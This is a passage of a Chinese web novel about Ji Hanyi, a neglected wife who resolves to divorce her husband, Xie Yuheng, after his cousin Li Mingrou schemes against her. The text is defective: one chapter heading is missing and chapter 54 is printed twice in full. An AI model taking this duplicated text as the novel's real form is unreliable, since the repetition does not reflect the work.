她看向容春,低声道:“老太太出身将门,看不得腌臜事,我是信老太太能为我做主的。”
说着季含漪白净的手掌撑着下巴,一双柔媚的杏眸低垂,声音有些许失意:“再有我知晓老太太想我与大爷和好,可我明白,再也和不好了,我心里对老太太是愧疚的。”
“这回的事情我将它闹出来,倒不是非要得到那个公道,是我知晓大爷一定会为李眀柔求情,一定会求到老太太跟前。”
“那时候老太太便知晓了,李眀柔在大爷心里的位置,也知晓强求不来的始终强求不来,在我与李眀柔之间,是大爷选了李眀柔,也算我给了老太太一个交代,让老太太没那么遗憾吧。”
“老太太是明事理的,也是慈悲的,一定能明白我的选择。”
容春在旁听了这话便觉得伤心,大爷明明是少夫人的夫君,却一**选择别人,从未站在少夫人这边过。
她不由眼眶一热,看向季含漪,沙哑道:“万一大爷选夫人呢?”
季含漪微微失了失神,低低道:“若是他真的选了我,不为李眀柔求情,觉得李眀柔是罪有应得的,或许我与他之间还有一丝情分,但我离开的决心依旧不会变。”
说完,季含漪又看着容春:“但他不会这么选的,容春,三年了,你是最应该明白的。”
“再有,三年的委屈,难道他一个回心转意,过去便烟消云散了么?”
容春张了张唇,半晌也说不出什么来。
少夫人说的没错,她跟着少妇人来谢家三年了,少夫人三年的委屈,大爷从来没有管顾过,大爷的眼里也只有李眀柔。
只是她心底还在为少夫人担心,担心少夫人和离后会过得艰难。
和离后的女子也总会起流言,她怕少夫人受不住,所以总是对大爷怀了那么一丝希望。
如今听到少夫人这么坚定的说不会留下,她
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又觉得那是对的。
留在这儿做什么呢?一辈子都忍着么。
她低头剥栗子,又开口:“不管少妇人做什么决定,奴婢都听少夫人的。”
正说话时,又听帘外喊老太太来了,容春赶紧将糖炒栗子收起来,又出去迎。
不过才几瞬,谢老太太从帘外走进来,穿过屏风,进了屋内,便见着半靠在雕花木床上的人。
半掀开的床帐内,秀气的人靠在床头,尖尖下巴上是饱满的脸庞,只是脸庞苍白,眸中带倦,轻轻一个转眼看来,便叫人心里心疼。
谢老太太叹口气,坐在了季含漪的床边,按住了季含漪要起身福礼的动作。
谢老太太看着季含漪苍白的脸庞,因她生的有丝妖艳,脸庞也饱满,眸子总莹莹,病色里其实看不出多少虚弱,反而是有股梨花经雨的湿漉漉娇弱来。
倒是季含漪穿着单薄的中衣,肩膀细窄,唇上没什么血色,一头发丝拢着本就不大的巴掌小脸,看起来倒是可怜。
她伸手握紧在季含漪的手上,苍老的声音叹声道:“丫头,受苦了。”
季含漪眼眶一瞬间就热了,她声音如**哽咽,细声细气:“老太太为含漪做主,含漪感激老太太,也心里愧疚。”
“老太太本该清静的,却为含漪的事情烦了心。”
谢老太太低低看着季含漪:“傻孩子,何必说这些见外的话,我们是一大家人,我不帮着你,难道帮着那个外人?”
“你婆母分不清亲疏来,我可分得清。”
说着谢老太太又道:“这些倒不用说了,你身子好些了么?可还疼不疼?郎中怎么说?”
旁边容春这时候才忙回话:“回老太太的话,刚才少夫人吃了副药,身上的疼缓了些,郎中说只要吃个两三日就能好了。”
谢老太太松了口气,捏了两颗佛珠,低声道:“只要能好就好。”
说着谢老太太又看着季含漪:“含漪,你放心,这件事我定然给你公道的,明柔那姑娘是断不能留在府里了。”
“一个未出阁的姑娘就胆大到用这些阴私手段,留下也是个祸害,所幸你也没出大事,我让她在祠堂跪三日赎罪,鞭了身,等年后,就将她赶出去,死活和谢府没关系。”
“毕竟是大冷天,忽然就这么赶她出去也不仁义,让她这些日子想好去哪里,谢家对她也是仁至义尽了。”
第51章 毕竟她那么在意自己……
季含漪明白谢老太太的安排是为了她的。
也是当真为她做了主的。
季含漪感激谢老太太,抬头里眼里泪光闪烁,沙哑道:“府里有老太太在,含漪心里安心。”
这纯质的话,也只有季含漪这般说出来,才让人觉得是真心真意的真。
谢老太太从不会看错人,季含漪从不会是那般阳奉阴违的人。
她好便是真的好,不参杂杂质利益。
季含漪相貌生的也纯澈,曾经也是季家独女,掌上明珠,当初季尚书走哪儿都要将女儿带在身边,宠爱女儿也是京城里出了名的。
季尚书也只有季含漪母亲一个,后宅干干净净,她又哪里见过什么污糟事?
李眀柔功利心太重,八面玲珑,样样尽善尽美,这样的人才不一定是真,所以谢老太太对李眀柔,从来也谈不上真的喜欢,不过就是怜惜罢了。
她拍拍季含漪的手:“不用想太多,等这回的事情一过去,便与恒哥儿好好过日子。”
“往后都一切顺遂的。”
季含漪怔了怔,又听话的点头。
谢老太太离开后,季含漪重新趴在软绵绵的软枕上,发丝盖住她莹白的脸颊,身上的锦被滑至了纤细的腰际,勾勒出姣好又纤匀有致的身形来。
容春见状,忙过来替季含漪将锦被拉了拉,又蹲在床边小声问:“少夫人怎么了?”
季含漪摇头,什么也没说。
她只是觉得,老太太对她愈好,便对老太太愈愧疚,心里就生出股伤心。
这府里,她唯一有愧的就是谢老太太了。
她摸着手上那只翡翠镯子,想起当年进谢府的第二日,谢老太太就叫她去了跟前儿,将那只祖传的镯子给了她,当着众人的面说她是她最喜欢的孙媳。
那只镯子连三个媳妇都没给,就落到了她手上。
她那天也明白,谢老太太那天是当着众人的面给她撑腰。
是怕她因为家族无人,在谢府被看轻欺负。
如今摸着手上的手镯,老太太这般想让她与谢玉恒好好过日子,她却坚定离开的心思,觉得是对不住老太太的。
--
谢玉恒是下午回来的。
一回来就被叫去了林氏的屋子,听了个事情的来龙去脉,不由得脸色大变。
林氏坐在椅上抹着眼泪,看着谢玉恒:“你说明柔怎么就做出这样的糊涂事情来?现在老太太不饶她,我也不敢轻易求情。”
谢玉恒顿了下,抿唇却问道:“含漪还好么?”
林氏听到谢玉恒问季含漪,倒是愣了下,也是没想到。
这孩子从前一心最上心明柔,现在明柔的事情不比季含漪的事情要紧急些?怎么就问起季含漪来。
她还是点头道:“我下午的时候叫身边的婆子去瞧了,说是吃了药,已经好多了。”
谢玉恒听到了这话,紧绷的身子才微微放松。
林氏的声音又在耳边响起:“你说说这事,你父亲又不在,院里没个商量的人,只能叫你来拿个主意。”
“明柔毕竟也是你瞧着一起长大的,难不成真要撵她走?”
“眼看着就要议亲了,她一个闺阁姑娘,独身一人能去哪儿?”
“她父亲老家那些亲戚,哪个不是盯着她的嫁妆的?只怕回了老家,什么都留不住了。”
“你祖母只顾着含漪,可明柔真就不管了?”
谢玉恒坐在林氏对面,听了这些话,有些烦躁的皱眉。
这些日子他当真烦躁的不行,一桩桩的事情全是些糟心的。
他开始怀念从前那顺风顺水,安安稳稳的时候了。
又见母亲在对面抹泪,他一下站起来,低低道:“我去找祖母求情。”
林氏忙看他:“你这会儿别去找你祖母,你祖母还气着,等你祖母消消气再说吧。”
谢玉恒
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在屋子里渡步,又顿住道:“我去找含漪,只要她肯原谅明柔,去祖母那儿求情,祖母应该能网开一面。”
说着谢玉恒眉头皱起,低声道:“等年一过,我便将明柔说一门京外的亲事,也算安顿了她。”
谢玉恒想,只要季含漪听见自己将李明柔送走,她就一定会答应的。
毕竟她那么在意自己……
这些日她这么闹,也是因为那日他先带走了明柔……
林氏听了这话,也点头:“这么安排也好。”
“她本来早该嫁人了,等了这么久,还是早点嫁出去好。”
这句早该嫁人了,在谢玉恒的心上一捶,他明白,其实他也有私心。
在之前,他一直分不清自己对李眀柔到底是对妹妹的照顾,还是自己对她是那种隐涩的感情。
但现在不要紧了,他会将李眀柔送走,再好好的与季含漪过日子。
他看着母亲:“我先回去看看含漪。”
林氏赶紧点头:“你让含漪去求情也好,老太太也喜欢她。”
谢玉恒无声的抿了抿唇,正准备告退的时候,又听到凝香居的丫头匆匆跑进来说,李眀柔在院子里晕倒了。
说是李明柔的平日补身的汤药被断了,晚上没吃到,又被关在院子里不许走去,忧郁过度就晕倒了。
林氏便赶紧道:“那就赶紧熬了进去。”
那丫头含泪,又道:“老太太身边的婆子守在院门口的,说往后不让送了,姑娘说自己贴银子出去买,那婆子也不让不去。”
林氏一怔:“老太太从前历来宽和,怎么这回这般心狠。”
“明柔的身子一向不大好的,不折腾出一身病来?”
那丫头又哭着看向谢玉恒:“求大爷去瞧一眼吧,姑娘晕了也一直在喊着大爷。”
“念着见大爷一眼。”
谢玉恒沉眉顿沉默了下,半晌才道:“走吧。”
第52章 让她再委屈这一回
凝香居内,李眀柔一身素衣靠在床榻上,脸上苍白,眼里红通通的,还闪着泪花,明显哭过,看起来娇弱孱弱,叫人看了便怜惜。
她看见谢玉恒进来,眼里飞快闪过欣喜,她就知晓,谢哥哥从小都是最关心她的,谢哥哥还愿意来看她。
在她心里,这世上唯有谢哥哥对她最好了。
又想到好不容易等到谢哥哥要与季含漪和离,谢哥哥却不愿时,又是一股伤心涌上来。
她本想让季含漪声败名裂后被谢哥哥厌弃,没想到竟然被季含漪反将过来。
只是幸好,那西域商人没说绝嗣药的事情,不然她在谢府就真的呆不下去了,姨母也不会保她。
其实当初李明柔是想不想给谢玉恒下药的,只是她平日里能够接触到季含漪的时候太少,季含漪的吃食也很小心,她院子里的丫头也很忠心,试探几回都没有法子,不得已才对谢玉恒下药。
本来以为等三年,季含漪没有子嗣就能被谢家休了,哪成想老太太和大老爷都这么护着季含漪,三年无子都不肯将她休了。
她心里想着,眼里快速聚了泪,等谢玉恒一进来,她便哭着扑进了谢玉恒的怀里。
她如清风明月的谢哥哥,永远都只能是她一人的谢哥哥。
不管让她做什么,她都愿意。
谢玉恒见着李眀柔在自己怀里哭起来,低头又见李明柔脸色苍白,一脸病色,忙心疼的托着她,叹道:“听丫头说你晕了?”
李眀柔抬头莹莹看着谢玉恒,眼泪从眼眶里夺眶而出,哽咽着:“那事不是我做的,是双喜为我抱不平才做的。”
“我真的没想到她会做这样的事情,谢哥哥一定要相信明柔啊。”
李明柔说完,头一低便埋在谢玉恒的胸膛上,手指紧紧捏着他的衣襟,哭的不能自已。
谢玉恒看李明柔哭的这般厉害,不由叹息,坐在床沿上拍着李眀柔的后背。
这样的动作他自己也并不觉得有什么不妥,小时候李眀柔的胆子很小,逢着雷雨,就哭着往他那儿跑,非要与他睡在一处。
那时候李眀柔刚失去双亲,来谢府唯有亲他,他便一整夜哄着她,没想到十年过去,竟成了习惯。
李眀柔趴在谢玉恒的怀里落泪,哽咽的问:“谢哥哥会离开明柔吗?”
“谢哥哥会讨厌明柔吗?”
她委屈的摇头:“谢哥哥,那件事真的不是明柔做的,我真的没有害表嫂。”
谢玉恒静静看了李明柔一眼。
要说这件事与李明柔完全没关系,显然是不可能的。
双喜一个丫头,是不可能有这个胆子的。
并且那种毒虫寻常人根本不知道,双喜是母亲给李明柔配的丫头,更不可能知道了。
但谢玉恒能够猜到李明柔这么做的原因。
是她执念太深,他心底深处怪不起来她,也不想怪她。
谢玉恒还是低声安慰道:“明柔,别乱想。”
李眀柔看谢玉恒的神情,便知道谢玉恒不会怪她了。
她便又抬起带泪的脸庞,满脸伤心的看着谢玉恒沙哑的问:“表嫂想要与表哥和离,表哥为什么不答应和表嫂和离呢?”
这间屋子里从谢玉恒进来的那一刻起,所有下人就都退下去了,李眀柔心里掩不住那股伤心,就非要问出来。
她真的不明白,要不是因为这桩婚事,明明谢哥哥是最喜欢她的。
即便那人嫁进来了,谢哥哥也对她最好啊。
谢玉恒皱眉看着李眀柔的泪眼,虽说他并不喜欢李眀柔说这个,但他看着李眀柔此刻含泪的模样也不忍心苛责她。
其实季含漪生的才更娇气惹怜,季含漪肤色雪白又玲珑有致,发丝又密又黑,唇红齿白,细皮嫩肉的妩媚姿态,稍稍一含泪,便娇美入骨惹人怜爱。
但季含漪却很少哭。
或者是他从未见过季含漪落泪过。
季含漪从前虽顺从他,但也没有如李眀柔这般主动将柔弱的一面袒露在他的眼前,便时常让他觉得季含漪是不会伤心的,下意识的去忽略她的反应。
但是李眀柔不同。
李眀柔生的秀丽,身量比季含漪还高一点,但却总是弱柳扶风身上有一股哀愁落寞,满心满眼都是他,在他面前也总是落泪。
让他心生出想要先护住她的怜爱。
大抵是下意识的就觉得李眀柔比季含漪更加娇弱,更加需要他护着。
谢玉恒垂眼看着李眀柔看来的柔弱眼眸,他难得严肃的看着她低声道:“明柔,含漪是我的妻,不管如何,我都不会与她和离的。”
“再有和离后她也无处可去,不管是出于什么,我都不放心她,就如我不放心你一样。”
李眀柔睁大泪眸看着谢玉恒,眼泪滚滚落下来,哑着声音问:“那我呢。”
谢玉恒无奈道:“明柔,你如今已经不能再留在谢府,你做错了事,祖母一向疼含漪,祖母不可能消气的,更何况沈家插手,不好太袒护你。”
“我已经给你想好了一门亲,我祖母老家潞州的一个生员,他品行端正,是我祖母旧识的长孙,你嫁过去就是安稳清净的日子,不会受委屈的。”
“其实就是这个我也不知晓祖母会不会答应,我也会再去祖母那里为你求情的。”
李眀柔有些不可置信的摇头,她失神的看着谢玉恒:“谢哥哥要让我离开京城么。”
谢玉恒叹息:“明柔,京城子弟并不适合你性子,与谢家匹配的高门世家品性端庄的,总的也挑不出几个,门第低一些的倒有,但家族族人众多,你身子柔弱,必受不住那些宅院琐事,我是为你考量。”
李眀柔根本不在意那些。
她只想要留在谢哥哥身边的。
她忽然觉得滔天的伤心,捂着脸大哭起来。
谢玉恒稍有些无奈,李明柔自小就是这么爱哭,但如今李明柔做了这样的事情,已经是他能够为她想出来的最好的打算了。
他又哄了李明柔一阵,才叫院子内的下人进来,让她们好好照顾着李明柔,谢玉恒才起身离开。
李眀柔追着过去站在窗前,含泪看着谢玉恒匆匆离去的背
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影,眼里眼泪更甚。
谢玉恒回了院子的时候,难得在今日看到主屋灯火通明。
虽说没有人迎出来,但他连日来压抑的心里一松,想着季含漪想通了回了主屋便好,他就知晓她闹性子也不过是一时。
他难得关心的对着门口的婆子问了句:“少夫人好些了么?”
婆子连连点头:“少夫人吃了药,下午昏昏沉沉的睡了会,也没说哪里不好的,应该是好些了。”
谢玉恒放了心,脚下的步子有些他自己都没察觉到的急切,大步往内室走去。
一进了内室,就看到半靠在床榻上,低头看着画谱的季含漪。
季含漪见着谢玉恒来,便放下了手上的书。
她今日睡在主屋,一来是不想让谢老太太来看了难过,还有也是不想让来看诊的郎中看出什么笑话,毕竟是府里的事情,夫妻二人分房别住,不好传外头去。
再有,她知晓谢玉恒会来找她,她在等着谢玉恒,也知道谢玉恒会说什么。
谢玉恒在见到季含漪的那一瞬间,他的步子就不由的一顿。
他远远站在屏风旁边,在这间满是她身上暖香与药味的屋子里,在这间透着昏黄烛光的屋子里,谢玉恒连日来的力不从心,叫他浑身都像是攀在一块浮木上,他自己都不知道到底什么时候才能靠岸。
什么才是尽头。
他往前走了一步,那个他记忆里依旧柔媚的脸庞又清晰一点。
他深吸一口气,努力让自己的情绪冷静下来,看着她抬头将一缕落在脸庞的发丝别在耳后,安安静静的。
她没如同从前那样,总是试图提起话题来,如今他不开口,两人就好似形同陌路。
从前他**以为常的,从前他觉得永远不会变的,好似都在他一个转神里,天翻地覆。
谢玉恒走到床前,他先开口问:“身上还疼么?”
季含漪顿了下又摇头。
她后背靠着软枕,垂眸看着白色袖口,一室寂静。
谢玉恒其实是受不住这样安静的季含漪的,但他好似又不能怪她什么。
她只是没有与他说话而已,他能怪她什么呢。
他想,她便再委屈这一回,等他将李眀柔嫁去京外,他们两人再好好过日子。
从前亏欠她的,忽略她的,他再慢慢补偿给她。
总之他亦不会纳妾,她总归能明白的。
谢玉恒历来冷清的面容微微暖下来,他坐在床边,低头看着季含漪垂着的眸子,又开口:“今日府里发生的事情,母亲已经告诉我了,祖母打算将明柔赶出谢府,但她无依无靠也没有去处。”
“这件事祖母是为着你的,也是因你而起,你如今也好好的,要不你去与祖母求情,祖母应该能听你的。”
“含漪,她身子弱,受不得祠堂冰冷,更何况还要打鞭子。”
说着,谢玉恒伸手握住季含漪放在被子上的手指,眼神柔下来,手掌将她软软的小手捏在掌心轻揉,像是最亲密的亲近,声音含着沙哑:“含漪,我知晓你最是识大体的。”
第54章 你不是一个好夫君,也不是一个好官
谢玉恒走后,屋内的季含漪只失神的看着和离书上的那一团墨印。
她微微失神。
满是遗憾。
一连两日,季含漪都没再见到谢玉恒的身影。
养到第三日的时候,季含漪收拾妥当,往婆母那儿去问安。
早上林氏脸上的表情明显不怎么好,好几次看着季含漪想脱口而出一些话,又生生没开口。
最后大抵又是想起季含漪也出了事,她问了一句:“身上养好了?”
季含漪依旧低眉顺目道:“养好些了。”
林氏眼眸淡淡往季含漪身上一看,忽然开口问:“你现在高兴了?”
季含漪想,自己在林氏身边三年,尽心尽力伺候,晨昏定省,她虽未帮着掌家,但也没有清闲,也将院子打理的还好,三年来从未出什么事端,也更未与谢家其他房的人有过什么冲突。
即便那些都可以忽略,但没有功劳总该有苦劳的。
可林氏短短一句你高兴了,便将她奚落成幸灾乐祸,搅起一摊浑水的人。
季含漪想,这帽子她是戴不下的。
她看向林氏:“儿媳没有高兴,也没什么值得可高兴的。”
“我在沈家差点名声尽毁,差点搭了一辈子进去,儿媳不觉得高兴。”
“若母亲觉得这是一件可高兴的事情,母亲自可庆祝,儿媳只有后怕而已。”
林氏愣愣看着季含漪,又点着头冷笑:“你如今与婆母说话便这么没规矩了,是觉得老太太给你撑腰,便无法无天没顾忌了是不是?”
季含漪摇头:“母亲如何想,儿媳不敢揣测,只是婆母刚才说儿媳高兴,还请婆母明示,儿媳应该高兴什么?”
“儿媳听明白了,也好顺着母亲的意思。”
林氏指着季含漪,气得胸闷都没说出来一个字来。
也是被季含漪给气着了,直到季含漪离开,才想起居然忘了问季含漪有没有去老太太那儿说李眀柔的事情,不由又气得捶胸。
季含漪去谢老太太那里的时候,谢老太太刚从佛堂里出来。
这两日谢老太太关心她的身子,每日都要派婆子来问,又送补身的东西来,季含漪见了总有愧疚。
她身子其实是没太大的事的,那**虫的毒也留不了多久,不过是借着这个引子罢了。
这两日季含漪还听了些关于李眀柔的消息。
听说她才在祠堂跪了一刻钟就晕倒了,在祠堂晕倒后,老太太便让郎中来看,郎中却说没事,谢老太太便让郎中守着,什么时候醒来,什么时候继续去祠堂,也不许任何人去探视。
那二十鞭,也一鞭也没落下。
听说谢玉曾想闯进去,不过没能进去得了。
李眀柔大抵是身子的确不怎么好,断断续续的晕了跪,跪了晕。
府里头倒是少有传谢老太太心狠的话的,即便不知情,也知道老太太一向宽和,能这么做,是动了真怒。
再有季含漪还听旁人说谢玉恒见李明柔没见着,就去找谢老太太了,跪在老太太门外求情,可老太太连门都没开,铁了心的要送李眀柔走。
季含漪今日是特意去找谢老太太的,老太太冬日里有头疼的毛病,她便亲手用兔毛做了一副暖耳,上头的刺绣也全是她亲手绣的。
谢老太太见到季含漪来,也是极高兴,拉着季含漪就来身边坐着。
她仔细端详人,见人一身水绿色立领宽袖长衫,肩头至胸前是凤穿牡丹的花样,脖子上带着赤金盘蠣璎珞圈,端庄规矩的一身,瞧着却是气色极好又含妩妩。
谢老太太看得很满意,笑着道:“瞧你养好了,我也放心了。”
又道:“我前日本给沈府去了帖子,说等你好了一起去拜访感激的,只是沈老夫人回了帖说年底忙碌,也就罢了。”
季含漪听老太太给沈老夫人去帖子时心里还提着,又听到不用去后才又松了心。
她明白沈肆安排一向周密的。
季含漪垂眸含笑,又将自己做的暖耳送到谢老太太面前:“孙媳养身子这两日无事,为老太太亲手绣的,老太太试试,看好不好用。”
季含漪的刺绣极好,上头的铜钱如意纹更是好看,谢老太太瞧了喜欢的很,戴在耳上就是一暖,不由连连夸赞。
她又取下东西问季含漪:“这两日恒哥儿可来为难你了?”
季含漪听了这话,便如实对谢老太太摇头:“大爷没为难我,大爷只是想我来老太太这儿为明柔求情。”
谢老太太听罢不由失望的叹息:“恒哥儿这回也当真是昏了头了,那李眀柔害了你,他是你的夫君,他反而为别人求情。”
说着谢老太太又握紧季含漪的手,低低道:“你别伤心,该为你讨公道的我总要为你讨个公道来。”
“谢府养她那么久,不是让她来恩将仇报,来把这一家子搅乱的。”
“这些日关她在院子里,等年后便送走。”
季含漪抬头,细声开口道:“我明白老太太心里为着我,可我想成全大爷。"
“这回的事情,大爷心里依旧念着李明柔,就……”
话还没说完,就被谢老太太打断:“可别说这些丧气话,恒哥儿心里有你的,他只是没想明白罢了。”
季含漪的指尖一凝。
她本想说谢玉恒心里想的比谁都明白,在他心里谁更重要他也明白的,只是话还没出口,外间的婆子进来传话说,李明清不知道哪儿听来了消息,从学堂跑回来了。
那嵩阳书院在隔壁云间县,路途算不得近,但这会儿赶回来,怕是天没亮就骑马往谢府赶。
那婆子说李明清也不进来求见,就一下子跪在了外头,还喊着让老太太饶他姐姐一命。
这意思,不言而喻。
这时候外头李明清的声音也传进来了,谢老太太听了气得不行,朝着身边婆子道:“谢家这哪是做了好事,谢家这是养了两个白眼狼,现在跑来撒泼了。”
“当我这老婆子是什么?是恶事做尽的老巫婆不成,一来就哭喊着跪在外头给谁看?又是逼谁?”
“真说起来,
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我没将她送去官府里头都是做了善事了。”
谢老太太寻常不发怒,这一发怒,屋内的人都慌乱起来,几个贴身婆子连忙过来宽慰着,但也没给李明清求什么情。
李明清跑过来,不来先给老太太问安不说,一来就跪在外头哭,在院门口的外头让人瞧,像是受了天大的委屈,受了天大的苛待似的,一脸的不服气,谁见了心里不发堵。
不说那两兄妹不是谢家的人,只能算是大房夫人的亲戚,就算是谢家的小辈,哪个敢给老太太这样摆脸色?
当真也是书读的多了,全是迂腐的桀骜不驯。
这还这么大点的年纪,就这么心高气傲。
季含漪转头往窗外看去,就见着远处院门口隐隐能看见跪着得笔直的影子,又默默收回了视线。
谢老太太朝季含漪道:“你别管那孩子,他愿跪便跪着,我这把年纪,还怕什么?惹恼了我,便都打发走!”
说着又朝帘子旁的婆子道:“你就这么出去传话,看他走不走。”
婆子也不敢耽误,赶紧出去传话。
只是倒让季含漪没想到的是,大冷的天,季含漪中午都陪着老太太用完了膳,那院门口跪着的笔直的身影也依然还在。
李明清还只是个不到十三岁的半大少年,少年好像是自带一股桀骜,跪了一上午,腰也没弯过。
在季含漪路过他身边时,他那双毫不掩饰含着恨意的眼神便往季含漪身上看来。
这是季含漪第一回看到这样阴翳的眼睛。
她顿了顿,从李明清身边走过去。
只是一抬头,就又见到谢玉恒匆匆的从路的那头过来。
他见着季含漪出来,先是一顿,接着便大步走了过来。
谢玉恒脸上冰凉,眉间更是紧皱,大步走到季含漪的面前,便伸手紧紧握着她的手腕带着股压抑怒气的问:“你又与祖母说什么了?”
“季含漪,难道还不够,你连明柔的弟弟都不放过?”
季含漪静静看着谢玉恒发怒的样子,她好似从未真的认清过面前这个人。
又好似三年的夫妻一场,都是杯中浮影,全都不是真的。
这一刻当真是有些冷的。
她曾经那般依赖的人,她曾经觉得她能依靠一生的人,自己在他心里原是如此不堪。
季含漪推开谢玉恒紧握住她手腕的手,她声音冷冷清清的:“大爷,你觉得我在谢府,就这么大的本事么?”
谢玉恒的眼神一僵。
季含漪走过谢玉恒的身边,低低开口:“大爷,你从来都是一言堂,一竿子定下你觉得的罪过,但却不容我辩解,你觉得你是大理寺寺正,你可以断案,你可以断真假断对错。”
“但即便是断案也要讲究证据的,不是你觉得我有罪,我便有罪。”
“不是你看了一个囫囵,便定下我有错。”
“你不是一个好夫君,若你断案也是如此,那你也不是一个好官。”
“我更不是你堂下的罪人,需要跪在堂前被你定罪处置。”
第54章 你不是一个好夫君,也不是一个好官
谢玉恒走后,屋内的季含漪只失神的看着和离书上的那一团墨印。
她微微失神。
满是遗憾。
一连两日,季含漪都没再见到谢玉恒的身影。
养到第三日的时候,季含漪收拾妥当,往婆母那儿去问安。
早上林氏脸上的表情明显不怎么好,好几次看着季含漪想脱口而出一些话,又生生没开口。
最后大抵又是想起季含漪也出了事,她问了一句:“身上养好了?”
季含漪依旧低眉顺目道:“养好些了。”
林氏眼眸淡淡往季含漪身上一看,忽然开口问:“你现在高兴了?”
季含漪想,自己在林氏身边三年,尽心尽力伺候,晨昏定省,她虽未帮着掌家,但也没有清闲,也将院子打理的还好,三年来从未出什么事端,也更未与谢家其他房的人有过什么冲突。
即便那些都可以忽略,但没有功劳总该有苦劳的。
可林氏短短一句你高兴了,便将她奚落成幸灾乐祸,搅起一摊浑水的人。
季含漪想,这帽子她是戴不下的。
她看向林氏:“儿媳没有高兴,也没什么值得可高兴的。”
“我在沈家差点名声尽毁,差点搭了一辈子进去,儿媳不觉得高兴。”
“若母亲觉得这是一件可高兴的事情,母亲自可庆祝,儿媳只有后怕而已。”
林氏愣愣看着季含漪,又点着头冷笑:“你如今与婆母说话便这么没规矩了,是觉得老太太给你撑腰,便无法无天没顾忌了是不是?”
季含漪摇头:“母亲如何想,儿媳不敢揣测,只是婆母刚才说儿媳高兴,还请婆母明示,儿媳应该高兴什么?”
“儿媳听明白了,也好顺着母亲的意思。”
林氏指着季含漪,气得胸闷都没说出来一个字来。
也是被季含漪给气着了,直到季含漪离开,才想起居然忘了问季含漪有没有去老太太那儿说李眀柔的事情,不由又气得捶胸。
季含漪去谢老太太那里的时候,谢老太太刚从佛堂里出来。
这两日谢老太太关心她的身子,每日都要派婆子来问,又送补身的东西来,季含漪见了总有愧疚。
她身子其实是没太大的事的,那**虫的毒也留不了多久,不过是借着这个引子罢了。
这两日季含漪还听了些关于李眀柔的消息。
听说她才在祠堂跪了一刻钟就晕倒了,在祠堂晕倒后,老太太便让郎中来看,郎中却说没事,谢老太太便让郎中守着,什么时候醒来,什么时候继续去祠堂,也不许任何人去探视。
那二十鞭,也一鞭也没落下。
听说谢玉曾想闯进去,不过没能进去得了。
李眀柔大抵是身子的确不怎么好,断断续续的晕了跪,跪了晕。
府里头倒是少有传谢老太太心狠的话的,即便不知情,也知道老太太一向宽和,能这么做,是动了真怒。
再有季含漪还听旁人说谢玉恒见李明柔没见着,就去找谢老太太了,跪在老太太门外求情,可老太太连门都没开,铁了心的要送李眀柔走。
季含漪今日是特意去找谢老太太的,老太太冬日里有头疼的毛病,她便亲手用兔毛做了一副暖耳,上头的刺绣也全是她亲手绣的。
谢老太太见到季含漪来,也是极高兴,拉着季含漪就来身边坐着。
她仔细端详人,见人一身水绿色立领宽袖长衫,肩头至胸前是凤穿牡丹的花样,脖子上带着赤金盘蠣璎珞圈,端庄规矩的一身,瞧着却是气色极好又含妩妩。
谢老太太看得很满意,笑着道:“瞧你养好了,我也放心了。”
又道:“我前日本给沈府去了帖子,说等你好了一起去拜访感激的,只是沈老夫人回了帖说年底忙碌,也就罢了。”
季含漪听老太太给沈老夫人去帖子时心里还提着,又听到不用去后才又松了心。
她明白沈肆安排一向周密的。
季含漪垂眸含笑,又将自己做的暖耳送到谢老太太面前:“孙媳养身子这两日无事,为老太太亲手绣的,老太太试试,看好不好用。”
季含漪的刺绣极好,上头的铜钱如意纹更是好看,谢老太太瞧了喜欢的很,戴在耳上就是一暖,不由连连夸赞。
她又取下东西问季含漪:“这两日恒哥儿可来为难你了?”
季含漪听了这话,便如实对谢老太太摇头:“大爷没为难我,大爷只是想我来老太太这儿为明柔求情。”
谢老太太听罢不由失望的叹息:“恒哥儿这回也当真是昏了头了,那李眀柔害了你,他是你的夫君,他反而为别人求情。”
说着谢老太太又握紧季含漪的手,低低道:“你别伤心,该为你讨公道的我总要为你讨个公道来。”
“谢府养她那么久,不是让她来恩将仇报,来把这一家子搅乱的。”
“这些日关她在院子里,等年后便送走。”
季含漪抬头,细声开口道:“我明白老太太心里为着我,可我想成全大爷。"
“这回的事情,大爷心里依旧念着李明柔,就……”
话还没说完,就被谢老太太打断:“可别说这些丧气话,恒哥儿心里有你的,他只是没想明白罢了。”
季含漪的指尖一凝。
她本想说谢玉恒心里想的比谁都明白,在他心里谁更重要他也明白的,只是话还没出口,外间的婆子进来传话说,李明清不知道哪儿听来了消息,从学堂跑回来了。
那嵩阳书院在隔壁云间县,路途算不得近,但这会儿赶回来,怕是天没亮就骑马往谢府赶。
那婆子说李明清也不进来求见,就一下子跪在了外头,还喊着让老太太饶他姐姐一命。
这意思,不言而喻。
这时候外头李明清的声音也传进来了,谢老太太听了气得不行,朝着身边婆子道:“谢家这哪是做了好事,谢家这是养了两个白眼狼,现在跑来撒泼了。”
“当我这老婆子是什么?是恶事做尽的老巫婆不成,一来就哭喊着跪在外头给谁看?又是逼谁?”
“真说起来,
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我没将她送去官府里头都是做了善事了。”
谢老太太寻常不发怒,这一发怒,屋内的人都慌乱起来,几个贴身婆子连忙过来宽慰着,但也没给李明清求什么情。
李明清跑过来,不来先给老太太问安不说,一来就跪在外头哭,在院门口的外头让人瞧,像是受了天大的委屈,受了天大的苛待似的,一脸的不服气,谁见了心里不发堵。
不说那两兄妹不是谢家的人,只能算是大房夫人的亲戚,就算是谢家的小辈,哪个敢给老太太这样摆脸色?
当真也是书读的多了,全是迂腐的桀骜不驯。
这还这么大点的年纪,就这么心高气傲。
季含漪转头往窗外看去,就见着远处院门口隐隐能看见跪着得笔直的影子,又默默收回了视线。
谢老太太朝季含漪道:“你别管那孩子,他愿跪便跪着,我这把年纪,还怕什么?惹恼了我,便都打发走!”
说着又朝帘子旁的婆子道:“你就这么出去传话,看他走不走。”
婆子也不敢耽误,赶紧出去传话。
只是倒让季含漪没想到的是,大冷的天,季含漪中午都陪着老太太用完了膳,那院门口跪着的笔直的身影也依然还在。
李明清还只是个不到十三岁的半大少年,少年好像是自带一股桀骜,跪了一上午,腰也没弯过。
在季含漪路过他身边时,他那双毫不掩饰含着恨意的眼神便往季含漪身上看来。
这是季含漪第一回看到这样阴翳的眼睛。
她顿了顿,从李明清身边走过去。
只是一抬头,就又见到谢玉恒匆匆的从路的那头过来。
他见着季含漪出来,先是一顿,接着便大步走了过来。
谢玉恒脸上冰凉,眉间更是紧皱,大步走到季含漪的面前,便伸手紧紧握着她的手腕带着股压抑怒气的问:“你又与祖母说什么了?”
“季含漪,难道还不够,你连明柔的弟弟都不放过?”
季含漪静静看着谢玉恒发怒的样子,她好似从未真的认清过面前这个人。
又好似三年的夫妻一场,都是杯中浮影,全都不是真的。
